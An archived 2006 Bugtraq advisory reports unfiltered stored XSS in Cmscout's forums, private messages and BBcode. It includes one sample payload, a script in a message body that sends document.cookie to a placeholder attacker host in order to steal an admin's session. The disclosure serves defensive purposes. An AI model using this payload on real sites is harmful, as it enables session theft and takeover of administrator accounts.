bugtraq - Cmscout <= V1.10 multiple XSS attack vectors

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060502143149.27181.qmail@securityfocus.com>
Date: 2 May 2006 14:31:49 -0000
From: zerogue@...il.com
To: bugtraq@...urityfocus.com
Subject: Cmscout <= V1.10 multiple XSS attack vectors

Cmscout <= V1.10 multiple XSS attack vectors
Discovered by: Nomenumbra
Date: 5/2/2006
impact:moderate (privilege escalation,possible defacement)

CMScout is a CMS (Content management system) for scouting related groups from around the world.
A CMS is a piece of web software that makes it easy for you to install, and manage a website.
CMScout includes all the features of other major CMS's that are available (Like PHP-Nuke, Mambo, e107, etc.).

Added news items and events are properly filtered for potential XSS input, input in the forums and PM's however, is not.
For example, when one would send a pm to the admin like this:

Subject: whatever
Body: <script>window.navigate('http://www.evilhost.com/cookiestealer.php?c='+document.cookie)</script>

we could obtain the admin's cookie. The inside of BBcode isn't filtered either. This goes for the forums too.

Nomenumbra/[0x4F4C]